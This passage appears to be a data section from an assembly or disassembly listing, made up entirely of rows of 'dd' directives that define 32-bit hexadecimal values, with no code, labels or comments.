		dd 36CBA7C0h, 0A1342FEh, 4C699D99h, 4F5B4E76h, 152E838Ah
		dd 3EDC71BEh, 0A69073BFh, 4E737643h, 0F8C1BF05h, 0E6B338FEh
		dd 3A4DAD08h, 0B264945Dh, 79BED411h, 4AEFBF9Ah,	65FF967Fh
		dd 11725CAAh, 0A763D09Bh, 0A50877B6h, 8576EF9h,	17FEAB84h
		dd 0D15B06D8h, 0EB063DA2h, 0F047BC05h, 0AA0A0346h, 0F2F49863h
		dd 0DF4FAB5h, 8D924D3h,	135033EBh, 15D77893h, 89A033FEh
		dd 53CED304h, 8FD9D4ADh, 607DAA7Bh, 82840CF9h, 93B660C8h
		dd 2BAB7FBCh, 0C82ED197h, 541ACBCBh, 9C21296h, 0AF3E0317h
		dd 79063142h, 290943E5h, 0C96289C6h, 6E84DB51h,	0A906CE6h
		dd 0A60B6057h, 0C2235B9Ch, 1248F0BDh, 53AA26B0h, 80F5925Ah
		dd 834C2C60h, 52FFC43h,	1E98AB59h, 9959ED59h, 0FB0ABD2Dh
		dd 1EA6BEFFh, 0E717C795h, 39397085h, 521520D4h,	4425A545h
		dd 8582ADBDh, 448CC512h, 0E66BDAC7h, 0ED70D339h, 0C22D440h
		dd 0B4844ECDh, 0D508D648h, 4537A312h, 0E6863C54h, 0FFB437BCh
		dd 4187DE2Ah, 0F704E9F1h, 0EFE857C2h, 0C483400Dh, 1C09BA87h
		dd 0F790F39Eh, 0E98B5417h, 0D17CF51Dh, 70707D77h, 632BF427h
		dd 43A2D48Dh, 3FD9FCE2h, 0E4AE798Eh, 6A656A0Dh,	0B134BCACh
		dd 601510A4h, 7161563Bh, 1970BE68h, 90D9D68Ah, 0FB03A5B3h
		dd 189F0F57h, 42935247h, 2D62B7CCh, 0EA53F508h,	7152783Dh
		dd 95D90E8Bh, 7102B7B0h, 6C47BFB2h, 513A8021h, 0A408ECDCh
		dd 90EBB141h, 0EE7F37D7h, 25BDADE5h, 171F32FEh,	795D0C32h
		dd 4C286280h, 47BC9F65h, 0C96AD30Eh, 2304B656h,	0CB22D362h
		dd 0FDBF9113h, 501B6B30h, 36E8B13Bh, 91DFBC6Eh,	0F3258B55h
		dd 0F12CD888h, 0D3F0BC7Ch, 0F50BEE02h, 0F5C07686h, 0B5008D69h
		dd 0D1650A57h, 0DEF8EAD3h, 69F020F5h, 160ECA91h, 0DC391DA4h
		dd 0E19CF75Ah, 0DD8B3AE3h, 0D0CF5A51h, 9CDEB5A6h, 0FE1198E0h
		dd 0CDF8084Eh, 977B0232h, 0FA78A84Fh, 0E31D3Eh,	1BCA7E30h
		dd 938FCA96h, 597A771Eh, 55F65343h, 0BEB7E3D3h,	0B351D07Bh
		dd 22C2CB8Bh, 24363E78h, 46EA75D5h, 0DBD92E09h,	0ED3B42F2h
		dd 0A04F462Ch, 0DA848D7Ch, 0C9AB4B3Ah, 3DCDDE18h, 9260C94Ch
		dd 0B83574E5h, 5A8A4D34h, 5050BB17h, 0BCD701Fh,	26AF0589h
		dd 4DE0EC55h, 0BDFE46DBh
		dd 10DFCDE2h, 0A0A93CDEh, 292713B9h, 8712D186h,	3EB18CBBh
		dd 367DDBA5h, 518C5CE2h, 0BF7E8756h, 90D739FDh,	9FA3236Bh
		dd 6688F3C0h, 0D171AC44h, 0A8988C4Dh, 7B882965h, 4ACBEB8Ch
		dd 8493C78Ah, 8A223EFDh, 0E68497E1h, 22FB9918h,	0BF9498B8h
		dd 386E115Bh, 0CCF0D6DCh, 8544CA02h, 6738FDBEh,	3081FAC0h
		dd 7F71D26Bh, 0DAF84496h, 0E55F34Ah, 28FEE62Ch,	8E5A358Fh
		dd 0E0E4D15h, 2E8136C7h, 8D3329F3h, 6BF5079Fh, 43824352h
		dd 4928D39Eh, 0F53A23F3h, 0E2A8C45Eh, 0AD5FD989h, 6FE92B12h
		dd 58950765h, 2ADE88C5h, 311D615Bh, 0C0B041D0h,	8347BDAAh
		dd 0C7FAB683h, 1BE1806Fh, 25D9F21Dh, 197C5AE4h,	0A7DC1A94h
		dd 0BCC656CAh, 9174998Ch, 8C65FD91h, 0A74A8C13h, 0F8F473B1h
		dd 0A8261EB7h, 5D7F2B9h, 0C1C9491Dh, 9A1CF4CDh,	948D7C21h
		dd 0FFEF8244h, 0E3CCBB2Eh, 0D823AEB7h, 8E3B82E5h, 0CE89C845h
		dd 0F1BDF9EEh, 0D5115220h, 0FF7B87ACh, 8D912C93h, 7FE31DDEh
		dd 7780C1A6h, 58A06862h, 0F3F88BAAh, 0ADF6AC89h, 0FEF76CD1h
		dd 0A8136497h, 0C1135BA5h, 0EE8EE781h, 1899BD2Bh, 275400E5h
		dd 0A9FAB5BCh, 0B5CBBAD7h, 3737DF43h, 0FF6A316Eh, 736C70F0h
		dd 0FA2DBEB0h, 1F18F73Ah, 0A884BA32h, 0B50184DBh, 0EE19C89Ch
		dd 0F6660218h, 0BC2FC8B5h, 6893E973h, 15C1749Dh, 5344464Ah
		dd 0F5AC632Ah, 84C17C3Dh, 0DE9C1F67h, 0CC3603C3h, 7EAA73E9h
		dd 0CD47C032h, 0D5BFC2BEh, 1948C868h, 59041EBEh, 72BB7BB9h
		dd 6FF68ED9h, 0BDA78117h, 206C35F1h, 44B92EDCh,	0E67C98CEh
		dd 36F3C28Fh, 0F8FC26DEh, 0E841DCE6h, 0A7C0661Dh, 6DFFF7DDh
		dd 0DC8587BAh, 9FCC2752h, 47D8664Dh, 5AA7652Dh,	0A69B9A6Eh
		dd 3416D7FCh, 0A50F0917h, 446E32F7h, 0D6501786h, 0EF503643h
		dd 0A51A85DBh, 0BE0BC0CBh, 0FF5D4823h, 5EDD87EFh, 0B1E1C370h
		dd 0AC4C21ABh, 4BCE8986h, 8055CA82h, 80007489h,	5E871486h
		dd 0B6AF52BBh, 5FDD6B93h, 7A565894h, 2EE627CDh,	0CA63E530h
		dd 94799F46h, 749B4D8Dh, 0B2AB5DC8h, 2EF0757Ah,	0D90F6727h
		dd 787B8358h, 9F848E30h, 63C76206h, 0D65A2719h,	9A474668h
		dd 0CEFCDB32h, 158D8EB1h, 0BF51A949h, 7A3F9407h, 9FC7FE47h
		dd 0E3266154h, 2AF750FDh, 0E230BE43h, 0F0C66BFFh, 138DE418h
		dd 2B821F6Ch, 0EF35F61h, 10AC8880h, 0BDA7B34Dh,	551C9933h
		dd 0D277B6D7h, 0C8758414h, 0B55F22EFh, 0B461A24Eh, 91670DCBh
		dd 16618B2Ch, 0AFB2E619h, 7A29E720h, 0DC22297h,	88259E95h
		dd 0DD1FC5BCh, 0B0B216DBh, 12EB4BBh, 33621465h,	59BC87E8h
		dd 0EA8EAE79h, 9C1AA3C7h, 60723F5Fh, 0B2504F39h, 5D1BDB7Eh
		dd 0E8ACBE45h, 0B77DA9E0h, 94B4DF44h, 6A9FB1A0h, 6A7A1544h
		dd 1388BD40h, 3D58E24Bh, 0CDE91064h, 14053EBEh,	0C706B0D6h
		dd 0B334A696h, 388973D8h, 7D8AF64Ch, 975AD288h,	31C4A615h
		dd 3A382251h, 0E1DE4AB4h, 0D6BBDFC0h, 0DBA41DD0h, 0C519A944h
		dd 0C0D725D4h, 2A7A7293h, 0BDF981E8h, 330C31F8h, 0B25BC86h
		dd 71F107C1h, 0CE08549Eh, 0C301C50Dh, 384DCA64h, 83B69184h
		dd 0EDF4409Ch, 19EDDA37h, 986322DBh, 0B3603F52h, 62964D01h
		dd 8AA535E2h, 0F2E045A0h, 0C74A8B44h, 7F38BEEFh, 0F963DE04h
		dd 471DA41h, 91AAC392h,	538A6E1Ch, 0B3CE1758h, 4C326D7h
		dd 0AD613BFh, 21E5E60Dh, 77E90D59h, 64C0418Ah, 6C2AB5AAh
		dd 6EE18425h, 30F60FA4h, 0CAF82706h, 0AB29A460h, 0A79B3FAh
		dd 3FA16FFFh, 9544E08Ah, 8398BB58h, 2F252DBAh, 20190D36h
		dd 2DD84136h, 23C889AAh, 10D23F0Ch, 0B6285179h,	2B68996Ch
		dd 0F7320491h, 6FF47F28h, 2BF64D8Eh, 36157EA5h,	921A25FDh
		dd 59C625CFh, 7CFD26Ah,	0C41B9B19h, 83BF775h, 53F224F6h
		dd 4BC8D2D7h, 9731E994h, 0E99E5F75h, 82BD64FCh,	71ED96A2h
		dd 0D011FF46h, 10EAA08Bh, 32B4A152h, 119E7E71h,	0EC67635Ah
		dd 2E29862Bh, 0E9340CF5h, 0D2D9F160h, 0DD2E2C4Dh, 40C2089Bh
		dd 5E444BAAh, 0E4614935h, 27433256h, 0F4626390h, 10F38674h
		dd 19626030h, 6D9CA2A1h, 448838E8h, 0FE74A5C0h,	253EF53Dh
		dd 187EBC3Ah, 0AD8C7A7Ch, 57CDF86Eh, 2C8E3FF2h,	0FF3DF113h
		dd 0D6A96E00h, 6CF24037h, 1FEA4E8h, 14D5EDAEh, 2ADB4B9Fh
		dd 0D36E7C2Ah, 6CEFF0C6h, 0CA2AFFh, 304A5FEh, 0DB7AB122h
		dd 69D8050h, 0B6119766h, 2A33FE18h, 0C86806FEh,	0D943CB13h
		dd 0E267EE82h, 0C3832170h, 81A45932h, 0B40A6BC7h, 3B2615F9h
		dd 65AFC3Eh, 679B7533h,	0EA6028A8h, 8109222Bh, 0FA9F2104h
		dd 49F021E6h, 0E57B5BB3h, 0BBBB7EABh, 45805934h, 8286C828h
		dd 32F450h, 0FBBB7037h,	521C09BFh, 0C8DCA069h, 0D94889CAh
		dd 0B4F4F7B1h, 38F69F7Eh, 459AEEB8h, 603FADF1h,	0D9B18946h
		dd 98DF915Eh, 378C185Dh, 65DC7981h, 0EB18D5E2h,	6299A47h
		dd 3577B2D8h, 1DD754F2h, 0B9478BB5h, 0D906D951h, 4CC82464h
		dd 0B63E76B8h, 969A4272h, 0D466D278h, 88197CBCh, 4D985787h
		dd 0FCB66BABh, 6ECCF2Bh, 66C25ABEh, 0EB42417Ch,	3A2A4B09h
		dd 7828DF5h, 1DCCBF3Dh,	0B8C2510Bh, 5E5D68A1h, 14F554C6h
		dd 0C6CEE189h, 0AB6B7283h, 34669C73h, 3AE79A88h, 2901275Ch
		dd 20F9D294h, 0BF94377Eh, 6E5DA482h, 0ABB270CCh, 5448FDF8h
		dd 722ACE56h, 92D7D6BDh, 9A94E541h, 0F5C66Fh, 659E5750h
		dd 0DD5A48D7h, 0CCA68741h, 6059AB15h, 2EFE8E1h,	4A8B0F44h
		dd 0A2CA76Fh, 0E74457AAh, 1B964795h, 440520D0h,	1024758Ch
		dd 30D5B7C4h, 0D2DA5000h, 7C10A34Dh, 0BCFE984Ch, 40766FF4h
		dd 0F45135C7h, 70DD5439h, 97AB083Ch, 1A67FB60h,	0E668B745h
		dd 0E75BD4A4h, 4A98787Ah, 0FC644745h, 648B47E6h, 0E727262Fh
		dd 1DC45F2Fh, 30F140A9h, 0E3112265h, 812ABBAh, 9F461EB4h
		dd 0F8D6DE8Fh, 0D8C2A42Fh, 0B51D115Ah, 92E0D999h, 0F607E869h
		dd 5EF71A3Ch, 0DEB4BEFBh, 119A57DFh, 0B635BD0Ah, 72FB2C79h
		dd 0C320F424h, 92A620Eh, 92236DBCh, 854F6D93h, 3945FD60h
		dd 7BC50CF4h, 0A3AF93B0h, 73279D18h, 25F7864Fh,	0BA446A46h
		dd 0ABC332F2h, 0A898521Eh, 0D81BE0CAh, 9A0AFB57h, 0BDBCC1DAh
		dd 0E1C59F48h, 80ADC71Bh, 0E212ABD6h, 0EE12D843h, 25877AB3h
		dd 6DC1F67Ch, 0A7F66CECh, 5BE75584h, 39687976h,	63D16643h
		dd 8944E32Bh, 6CF7FB5Ah, 6B8FE5A6h, 0B3F77927h,	0D2BA3262h
		dd 0EA50BE79h, 93822069h, 48CAFB4Ch, 3F9729F0h,	2B10F208h
		dd 95EE94D4h, 434D9F1Ah, 0FDAD32FCh, 5EB6423Fh,	0F580323Ch
		dd 0FE314747h, 46270C38h, 9814EA70h, 297875C0h,	9878D96Eh
		dd 0FB7001F1h, 8F80D2A4h, 0C222ACD7h, 0C36137BCh, 0BB93834Ah
		dd 0BD2F77Bh, 569D3E5Ch, 0C9C0D8DDh, 0A17D3DC8h, 44FCEDEh
		dd 41AF7E2Fh, 3A5569E9h, 0D2F2BBB2h, 0CD48CE7Bh, 0F745C47Ah
		dd 383C06ECh, 27D28E6h,	3537A961h, 0FB99DB82h, 2D8C14DAh
		dd 0C8E55B0Ch, 7FED0BE9h, 0F1CE9F9Eh, 8633768Eh, 0C41EDED9h
		dd 0D16A970Eh, 39E58E64h, 165BA5A9h, 5E0E5376h,	0F013D72Eh
		dd 0B1599E1Bh, 93D39C03h, 0CB552800h, 5A0E8788h, 1B0F3D88h
		dd 0BD9AC612h, 0E86FEB44h, 0E789B17Dh, 0B8E7841Bh, 1FED8A2h
		dd 7E52786Dh, 1002E68Bh, 77B0A8B3h, 0D476D372h,	379BDCCDh
		dd 84D91C5h, 1926A60Dh,	1B1DCBAEh, 45E154F8h, 0F6EE842Eh
		dd 0F7FC9194h, 5FBFAA75h, 7914490h, 3A16A635h, 0E382084Dh
		dd 0D436921Ah, 5C04B89Fh
		dd 7FB9E05h, 4B173F7Eh,	10A4DADAh, 82FB825Bh, 0E5C88043h
		dd 0CE33203h, 0B4775193h, 6EF82382h, 87438C76h,	727A8D16h
		dd 2CCA9698h, 8F02E06Dh, 0BF7EFD76h, 0E1E570D0h, 0EBB42226h
		dd 48540CB1h, 0C97239A1h, 0BCD49C67h, 95C703C0h, 8028F7C4h
		dd 9CEE748Dh, 75CEED38h, 0C774DCEAh, 4FB42F0Ch,	3BF60DDh
		dd 1F1E4D3Eh, 814CCB69h, 88D1950Ch, 13098B28h, 5D5FEA7h
		dd 5C2EF526h, 0EAA823EBh, 3DB8A923h, 27AA0290h,	7A8D3AFCh
		dd 7C468D9Dh, 31E4D550h, 466B9267h, 25D76E37h, 4CEFD1C2h
		dd 269F97B1h, 42C42387h, 0FBD7961Eh, 574D0192h,	3A50A655h
		dd 0B47EEFC8h, 723FFB2Dh, 4C229688h, 0AAC8532h,	0FF46FD02h
		dd 0DB692357h, 2CDA008Ch, 246AAE81h, 22C912E3h,	66BBEAD9h
		dd 82D2F401h, 0DE65EA62h, 723BED5Fh, 5217053h, 0BBF757FAh
		dd 68F2ABFEh, 78AEBFDFh, 0D496D392h, 0B3DA4549h, 0FEDE59D7h
		dd 638E033h, 0DBB40CD0h, 0A8F2727Dh, 0BBEC1D38h, 80B91A72h
		dd 21A46BB5h, 892A17EBh, 0DC88D12Ah, 99069E5Dh,	0A789521Bh
		dd 0FCD3300Fh, 0F6AF1375h, 0FB655DC5h, 1D89EDEEh, 0DBF7D205h
		dd 0C8D6B07Dh, 0B6D7E881h, 326B532Fh, 560C8648h, 0C96271B6h
		dd 5BAFF9C9h, 551532DCh, 0FC63AD7Dh, 465E1F8h, 0F94807ACh
		dd 8E9B06C5h, 90EA02ECh, 89A05FECh, 8DA378CBh, 0DD86A6A3h
		dd 0C8763B30h, 313CFF60h, 0D7124960h, 5A71555h,	0A4954851h
		dd 6A4414D7h, 0EE6E9E40h, 968D934h, 0BF799D79h,	25953D2h
		dd 0FFBB628Dh, 4AFB026h, 38BE61F0h, 0F2CAADBFh,	460C0010h
		dd 80E219E4h, 0C687AE4Dh, 53B95D00h, 87A50F03h,	5603D3C2h
		dd 0CF0E4FF1h, 9A30460Fh, 0E100FA25h, 0C65181F0h, 0A074C83Fh
		dd 0D6A093A5h, 0BEE01817h, 0CFC4CC0Bh, 502FACF9h, 71EE0457h
		dd 0FAB647E1h, 4A8ABBBEh, 5FF70CD6h, 0C37BFED3h, 20FCE82h
		dd 52D420D9h, 0FF1E03DEh, 8B8C5A39h, 2C0749FFh,	836981DAh
		dd 8D40C2ACh, 885AD9ECh, 203D27Dh, 4B0AC3CAh, 97216D63h
		dd 4FBA3D06h, 0E1BF7413h, 35FE43BBh, 0FF1EC879h, 18717195h
		dd 0C74B0AEEh, 0A5F215B9h, 69D918DFh, 0FEA3049Bh, 659D6263h
		dd 0ACC927EBh, 69C7641Bh, 0DA4461CCh, 0FC104E47h, 0FF7A2AE7h
		dd 0D703DC1Dh, 9207A809h, 0FA8F77EEh, 0DD2A0F93h, 5963092Eh
		dd 0C4D38892h, 595D165Bh, 0E678E082h, 0F8857E16h, 6537C4FEh
		dd 0D32550A8h, 8EF77629h, 0C1552B39h, 1699395Eh, 3173ABEEh
		dd 6C98EE0h, 0A31E4697h, 8E0F46Bh, 6B15F823h, 2BBED4A2h
		dd 0D2B513C5h, 2F658375h, 0C7E9B0F2h, 0D397A962h, 6F2845CDh
		dd 93521891h, 0AA099D42h, 0CA8619ECh, 0DC9C4588h, 4C34EFBEh
		dd 0F474E322h, 6A6833FBh, 0E24ADB09h, 0BE7B8A27h, 8313013Eh
		dd 166500EBh, 0E1585AABh, 89B0B230h, 58F34A8Ch,	2E3C022Bh
		dd 4B2D3F02h, 0F99A1DBBh, 728B7EEEh, 93C343B8h,	0FE413D2Eh
		dd 42C07DA8h, 51D11FC7h, 2AA04191h, 0C9A588E6h,	4F84A505h
		dd 0DA73BACAh, 17B035CDh, 5F7162F1h, 77559077h,	2227E545h
		dd 9BE4723Bh, 2D826D52h, 1AEE93FDh, 842E1B32h, 0E160AD8Fh
		dd 0F1915162h, 0CB50688Bh, 70A17181h, 0EBBC8DC5h, 0C9ED3682h
		dd 69FDEE7Eh, 0EC015CB3h, 0C47AC382h, 0B5C13178h, 33BD659Bh
		dd 9FCB9F8h, 9A49D26Fh,	0BCB967DBh, 0B864EA06h,	0D3AF0123h
		dd 0F6179902h, 148AA821h, 0BE63622h, 9F1108C7h,	0FF8E49D4h
		dd 9EA5CD7h, 9AABC06Dh,	9CC23F68h, 5B63A2F1h, 27B6AF0Ah
		dd 9F6DDC96h, 4F9C490Ah, 0C85BF0A4h, 3BABA83Fh,	999C55C1h
		dd 0D74CD558h, 2CC7AB50h, 0A4711085h, 0A9E16C4Dh, 21FBE272h
		dd 0C846F78Ah, 0BB7AED2Fh, 0B29CB97Eh, 0A1BAAE87h, 992A614Eh
		dd 86978DB0h, 193F7556h, 1C5E9FF6h, 26202954h, 89C28FB2h
		dd 0E39F468Ch, 8C9E3ABh, 29F502F9h, 0B039FD78h,	86532E3h
		dd 5C8197DEh, 49FC9B99h, 69172EEh, 3D3368E8h, 0C354E9A3h
		dd 0EE95264Bh, 0BBE74F16h, 2DB6F2A3h, 2634791Ah, 208B1E7Ch
		dd 377781Ah, 49BE2730h,	0CB38BD98h, 0ECBBF250h,	0F5164B0Ch
		dd 17DF53BEh, 5C8F2044h, 0A1234084h, 6387140Ch,	913914C4h
		dd 0BD87B550h, 2E010DE7h, 0AA0FCC41h, 96DE7E13h, 0FD470BEBh
		dd 0B223E511h, 2439FF89h, 6919D5A0h, 0CE383EC7h, 47A1B263h
		dd 0A4B16995h, 0CBFA72EBh, 0F409A6C1h, 0E8C13775h, 0B708ED4Dh
		dd 3F900DABh, 3F1DBAE2h, 0BCCA5703h, 729761A9h,	0B62C13D7h
		dd 9F20F903h, 5B95C0D1h, 0CF8AE35Ah, 71BD44Ch, 8E02B154h
		dd 81530A2Fh, 3B43C0B8h, 730FBDAFh, 6DCF0D75h, 0F7FE66FCh
		dd 12C98689h, 0E250909h, 98AF2AADh, 7D069DE7h, 0F79F1427h
		dd 9B4F865Ah, 3DADC1Ch,	6F7E1A3Dh, 3E206265h, 0A14CD48Bh
		dd 0F1092ADBh, 0D83BE525h, 0BEDEF318h, 0DD0ABB16h, 0E857FC57h
		dd 0ADDE8FFCh, 0B64B4935h, 69D6EC1Dh, 99326308h, 0ABE4CE60h
		dd 0E2C4C283h, 5D4336D7h, 4182711Bh, 5BF4AB0Eh,	3B75F8D9h
		dd 0CD1A8B7Ah, 82A9E426h, 0AC0381F6h, 0A08495E1h, 379AE007h
		dd 298E6865h, 3C817582h, 0C51583E0h, 818EAF28h,	83CA44ACh
		dd 0C24BA175h, 1845845Dh, 0E3AC46D7h, 7E258917h, 6F43EA45h
		dd 0C88CA071h, 6858AD64h, 7E551DACh, 8A3B80E9h,	0A77A1CD5h
		dd 84D46979h, 0FEBE8D27h, 9BFC5CA5h, 0DFD438FCh, 0DF11D136h
		dd 910C8DD0h, 3B24EED9h, 39D5CF15h, 751CCCF4h, 83E44BC0h
		dd 0A015CC29h, 9738A769h, 17FA24B0h, 1135D976h,	97CC621Bh
		dd 59B4A983h, 0B9BFD793h, 7C929354h, 6728C140h,	0C5FEEB38h
		dd 42656B0Dh, 222EB6FDh, 149786DDh, 1BE67D51h, 6B10CB7Ah
		dd 0F05D46A2h, 0C7DBE0B3h, 78C980DBh, 0B82520A8h, 9F165F5Fh
		dd 5025F471h, 0B6CE5207h, 713C0B3Bh, 0CD77EE94h, 0EB32FF69h
		dd 68F1AECFh, 8D0D22A1h, 0C7FF9FA0h, 0F0CC61EAh, 8394ED2Dh
		dd 0C85086DCh, 6ED9915Dh, 5CC82566h, 7310F61h, 8FBD7523h
		dd 6B16218Ah, 15E6CCC6h, 0EB2518E6h, 0AC371B32h, 79129A52h
		dd 19A1A742h, 0E281058Ah, 0A496D036h, 0B8CC300Fh, 6C639791h
		dd 0EAE4B8C8h, 9BDAE85Fh, 0EF70118Ch, 99F41DBBh, 0EE21BD42h
		dd 60FD2525h, 47C0F134h, 0F16FD6B5h, 0D5A5A617h, 0C6EA815Eh
		dd 0E16CB2D8h, 731CE95Dh, 0C61BD641h, 83015CC6h, 3A4B9586h
		dd 8189039Eh, 0E378EBB0h, 9E17FC69h, 0A82FA79Fh, 49A10873h
		dd 47D0C2A6h, 8AC11BD8h, 1C29F92h, 3058051h, 3E8199D0h
		dd 0FA6005A5h, 2CCFD376h, 0F62A72EBh, 95523B33h, 0F9D889FEh
		dd 13337FC3h, 3715CA80h, 7D98F586h, 0BE60AC6Fh,	1B173347h
		dd 0E592A7D2h, 5C834472h, 8DC5123h, 5C033270h, 56B4220h
		dd 0AD545AB7h, 6EBD4B47h, 0B46C3EDEh, 4698AEB2h, 628976DFh
		dd 0E73A49B8h, 3D0D5D06h, 0DFC4A60Eh, 2D8EE698h, 3A91F4FEh
		dd 0A5DDD7E1h, 0B3799F33h, 4990407Eh, 7AB7814Fh, 0E4DCE74h
		dd 1BC5C442h, 2AF9518Dh, 0C4313EF4h, 0BE9635F3h, 0D775A9C4h
		dd 2985A11Fh, 0EE739CEh, 902675Bh, 0D60F2F78h, 0EAC83F0Fh
		dd 3973FE8Ch, 1744C2A0h, 0C4F27072h, 0A6C77F8Eh, 297CA290h
		dd 0B82F1D67h, 8015552Ch, 0AA8ED94Dh, 0E4580D4Bh, 2263DBD1h
		dd 0E6145974h, 221265D0h, 92802DA2h, 9ECEE2A1h,	0EA64AACBh
		dd 8456AB6Ah, 0CC9AC2A1h, 8B1CC269h, 49BD7D1Ch,	0EAD1DD9Fh
		dd 8C4588FEh, 0F1646DF0h, 0B066B435h, 947096ACh, 0BA558017h
		dd 0F951677Fh, 0E3A1DE92h, 0B2B617Dh, 2FDDB768h, 3FC694B9h
		dd 8FC90A59h, 35AF3461h
		dd 37B47FE4h, 250B5EA1h, 45644E71h, 6B822040h, 3A869F7Dh
		dd 95D0FE00h, 0A48CA4AAh, 1B4ED732h, 43E1C015h,	370233B5h
		dd 0F8360AFFh, 4795430h, 0EE40DB46h, 0C5012CD5h, 0B424CA1Bh
		dd 9B933E9Eh, 0A0191436h, 27B8E24h, 0B4888DCDh,	7D583A8h
		dd 2FC5F332h, 94174604h, 0E04E4893h, 0DF8C7EC5h, 0B429E6A9h
		dd 3054BD54h, 0D5DB8BB4h, 9B40BA7Ah, 8B313A8Eh,	7236DCB7h
		dd 54BCCA14h, 0EB34759h, 8D43517Dh, 9C5BA4D4h, 711C4EFCh
		dd 0EDEAD9FCh, 0C6310D90h, 0D5CA8CECh, 6367626Bh, 54E8A95Eh
		dd 912F651Ah, 9A9187E4h, 56F43FEBh, 3B952807h, 1B133E5Ah
		dd 229994B6h, 0D0D5C62Eh, 457F7EA8h, 0FDECAC65h, 3F7E2288h
		dd 9D97C672h, 45B5267Fh, 6927273Ch, 3B859078h, 0EBF9A1E9h
		dd 0D98EBFA4h, 0C59362C6h, 7D3F6B2h, 0D1AA27A8h, 98592CEAh
		dd 0D49B816Dh, 43300D78h, 0D3805F2Dh, 0C7487E22h, 6663A20Dh
		dd 0E3D9E6E6h, 4AA7014Fh, 523E102h, 0B3622C8h, 1B72E4D1h
		dd 533CF01h, 0FECC67E4h, 0E30371C9h, 0C60FB911h, 0C305CAAFh
		dd 6A59D4F6h, 7C9CC97Dh, 80ED3746h, 0E46078B4h,	0E0708DC9h
		dd 87091CFAh, 687D9B00h, 0A8DF305Fh, 0B5BBEE67h, 9D61C3A0h
		dd 0A3936677h, 0EA82D2E6h, 0A0E3CC4Bh, 0BAEDC3A5h, 0CD24260Dh
		dd 0B7A38231h, 95B51822h, 51B6C98h, 8110F9CAh, 667C300Ch
		dd 324A9739h, 1B251013h, 234F7EA6h, 0CED65C3Ah,	80A5BF4Ah
		dd 0E9D547E5h, 69DF06Ah, 0D23245E9h, 0EECF230Ch, 0EA543F2Eh
		dd 139ADC01h, 6354DF5h,	9440835Eh, 8B545841h, 0FD7EC1DAh
		dd 0AED112DFh, 0C9132EA3h, 543EE493h, 1BED2A94h, 5997B939h
		dd 0DB92E7DAh, 0F721E6CAh, 7F229D1Fh, 0BDBA73E2h, 148D8E61h
		dd 42EE731Bh, 0DA8C3048h, 0AE5347F8h, 25EFD41Ch, 9C0EFAE3h
		dd 5AC293D3h, 3DF20ACh,	0F5B816A7h, 0A949DDFDh,	0D1662DAEh
		dd 7BCE585Ch, 452CD781h, 0C154E5Bh, 3CBE736Dh, 0D2AB970h
		dd 3E174166h, 6CCADFA8h, 73FFA066h, 449B1390h, 0BAEE9AEBh
		dd 0B4BD70F8h, 7D0BF97Ch, 284D87CAh, 6E3A85ACh,	4210E9C7h
		dd 0D012EC98h, 52DB5FC7h, 0F0FDB879h, 0F95FAA06h, 0DA218009h
		dd 9A0CB856h, 10C4D4A9h, 0A0B55BD9h, 0EBE182DBh, 0F4FBB564h
		dd 1217993Ch, 8994AA77h, 0ED46F700h, 0FB62262Fh, 0F855A07Ah
		dd 2A122091h, 4177CC97h, 7A1B7647h, 6C7EDF0h, 8FAD7AD3h
		dd 0E71C8B4Eh, 0CF305C82h, 0DBD53BCEh, 0BA74F414h, 0E58D4687h
		dd 0FCC84045h, 0D3CDD13Eh, 4A8C957Dh, 3263A08Dh, 0F2A476FFh
		dd 146123ECh, 8E43D2E5h, 3E280D6Fh, 79B47A34h, 204269DAh
		dd 2B25EDB9h, 0D2A49551h, 0B92DB530h, 82BCB0F1h, 9E060EDAh
		dd 49C85238h, 6F754298h, 0D5890806h, 0D23BAE77h, 0BC4B51F9h
		dd 0ADF0E945h, 0DD0F56ACh, 0B1A6C06h, 0A25D2E51h, 887DFCDEh
		dd 92C09528h, 0C779EA77h, 87DDE41h, 8E717B9Ah, 0FCE08562h
		dd 5F5FCE24h, 240D9E25h, 0FA646FFFh, 12A02E6Eh,	0C19DB273h
		dd 31F97A5h, 8B4DB1F7h,	37E01545h, 0C2EE73C8h, 34FFECBDh
		dd 85D4A363h, 5688102Dh, 8A6261B0h, 84F6933Ah, 4F25CC1Dh
		dd 975E8E56h, 0A16469F5h, 0A7C2211Eh, 0A7A4B9D1h, 41641015h
		dd 68557030h, 32AC47Fh,	0F0811D3Ch, 522285CBh, 4A6CFBB7h
		dd 311A5F76h, 1304CDD8h, 0EEE7A6DAh, 2367BF22h,	284ABB80h
		dd 5DED0BC1h, 5A39FC78h, 3BD36BFDh, 52E558A6h, 0D43409D6h
		dd 249D3A67h, 77E20756h, 1FE0CFEh, 1542802Fh, 62A18B38h
		dd 99A868B7h, 26F57126h, 0FE91F77Eh, 0EBDC9899h, 8661EADBh
		dd 91B82A3Ch, 757E3FCFh, 0A52B72DAh, 0AED992BFh, 7AC44526h
		dd 27D562A3h, 30E53EE3h, 7ECC64F1h, 0D778AFF6h,	3C0997C4h
		dd 7D735406h, 0EB1451CDh, 67BE9373h, 6B044768h,	36070F85h
		dd 7AD471BAh, 28D15975h, 30620E22h, 0EA7AF002h,	1E612887h
		dd 28E5AF5Dh, 13FF1905h, 0FA875553h, 6E21BCB3h,	3840F982h
		dd 99882C41h, 5F801F98h, 3381711Ah, 52E675CCh, 3A37A4B9h
		dd 0C776EF49h, 8E4FED6Ch, 0FCB3195h, 27754A63h,	826F833Dh
		dd 906C1BF9h, 0A1995903h, 691ED757h, 7D688610h,	9E67F99Ah
		dd 4A633E0Eh, 0B355941Bh, 7D835922h, 9819691Ah,	0A53050DBh
		dd 60CB731Fh, 0B55C0AB4h, 4D6353F8h, 7227F36Eh,	79D5780Ch
		dd 1E78F9DFh, 411EDF27h, 0B96285FCh, 856B1FCDh,	0D25F282Dh
		dd 0E4826E2Dh, 876E7C79h, 0BFB03DCCh, 1AA57DB9h, 66612F70h
		dd 9FD07DD4h, 1A57469Eh, 0BFECBB4Dh, 0F25775B8h, 2BDC892Ch
		dd 0F1527F3Ch, 0D131095h, 13ADF85h, 0C1CC58CCh,	362F978Fh
		dd 0DB866353h, 0C958426Bh, 37801168h, 67F09D76h, 79029720h
		dd 0A3D7CE20h, 6B22A27Fh, 0CEF582E3h, 1C673A18h, 1122AFB5h
		dd 2D64AEC7h, 0B223A778h, 0EE5E3FA1h, 0A77F3459h, 8233E247h
		dd 329980F3h, 17CEC752h, 6895CD96h, 0EF58252Eh,	9F42CC2Dh
		dd 7E3C8D89h, 27A0D0E7h, 0C9C6E0ADh, 0FBA3FBB4h, 2639CD66h
		dd 0C58C21F8h, 857C5972h, 5C866FBCh, 6A3BE435h,	14297EC1h
